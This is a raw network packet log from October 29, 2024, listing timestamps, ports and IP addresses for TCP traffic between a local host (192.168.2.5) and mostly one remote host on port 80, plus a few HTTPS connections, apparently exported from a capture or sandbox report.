Oct 29, 2024 02:46:44.441163063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441179037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441193104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441205978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441207886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441220999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441231966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441243887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441246033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441260099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441272974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441273928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441283941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441289902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441303015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441313028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441320896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441329956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441335917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441335917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441344976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441350937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441368103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441370010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441370010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441371918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441391945 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441395998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441412926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441414118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441435099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441456079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441456079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441469908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441487074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441493988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441502094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441504002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441515923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441525936 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441529989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441539049 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441545010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441557884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441570044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441589117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441592932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441607952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441623926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441633940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441638947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441653967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441656113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441669941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441673994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441684008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441685915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441700935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441713095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441716909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441734076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441740036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441759109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441768885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441772938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441781998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441788912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441798925 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441802025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441818953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441828012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441828966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441843033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441849947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441858053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441868067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441884041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441884041 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441895008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441896915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441912889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441922903 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441930056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441931009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441951990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441957951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441962957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441972971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441989899 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442007065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442013979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442033052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442038059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442049980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442061901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442065954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442075968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442085028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442086935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442100048 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442104101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442125082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442138910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442141056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442153931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442164898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442168951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442184925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442195892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442209005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442214966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442231894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442238092 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442251921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442260027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442276955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442292929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442301035 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442308903 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442320108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442328930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442353010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442354918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442370892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442378044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442401886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442411900 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442456007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442471027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442497015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442517042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442518950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442517996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442524910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442533016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442559004 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442559004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442584038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442586899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442600012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442603111 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442615986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442625046 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442632914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442643881 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442665100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442713022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442728043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442744970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442761898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.442770958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442785025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.442815065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.454881907 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.455198050 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.455214977 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.455749989 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.455754995 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.473468065 CET	49946	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:44.473486900 CET	443	49946	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:44.474011898 CET	49946	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:44.474244118 CET	49946	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:44.474255085 CET	443	49946	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:44.530016899 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.530062914 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.530168056 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.531619072 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.531630039 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.531645060 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.531651020 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.540677071 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.540693045 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.540764093 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.542922020 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.542927980 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.756896019 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.756966114 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.756970882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.756988049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757014990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757041931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757045031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757050991 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.757076025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757082939 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757103920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757111073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757123947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757123947 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.757138968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757148027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757164001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757172108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757174969 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.757179976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757186890 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757194042 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.757221937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757260084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757261038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757276058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757278919 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.757292032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757307053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757318020 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757322073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757332087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757335901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757350922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757360935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757365942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757385969 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.757385969 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.757388115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757397890 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.757401943 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757407904 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.757441998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757474899 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757483006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757491112 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757514000 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757514954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757527113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757530928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757545948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757550955 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757563114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757565975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757570982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757579088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757587910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757602930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757617950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757620096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757633924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757643938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757648945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757658958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757666111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757679939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757694006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757694960 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757721901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757731915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757776022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757791996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757807970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757818937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757822037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757838964 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757843971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757846117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757847071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757865906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757890940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.757952929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757967949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757986069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.757999897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758002043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758016109 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758017063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758033991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758033991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758059978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758061886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758086920 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758088112 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758100033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758104086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758122921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758131027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758138895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758141994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758157015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758162975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758172989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758186102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758189917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758196115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758205891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758219957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758223057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758229017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758238077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758244991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758254051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758265018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758269072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758280039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758285046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758300066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758300066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758306980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758315086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758331060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758335114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758346081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758347034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758361101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758362055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758374929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758378029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758389950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758395910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758416891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758440971 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758470058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758482933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758497953 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758512974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758523941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758527040 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758538961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758542061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758555889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758567095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758570910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758586884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758594990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758600950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758619070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758626938 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.758631945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758642912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758647919 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.758647919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758662939 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.758665085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758671045 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.758682013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758682966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758698940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758706093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758713961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758718014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758727074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758742094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758755922 CET	80	49838	185.215.113.206	192.168.2.5
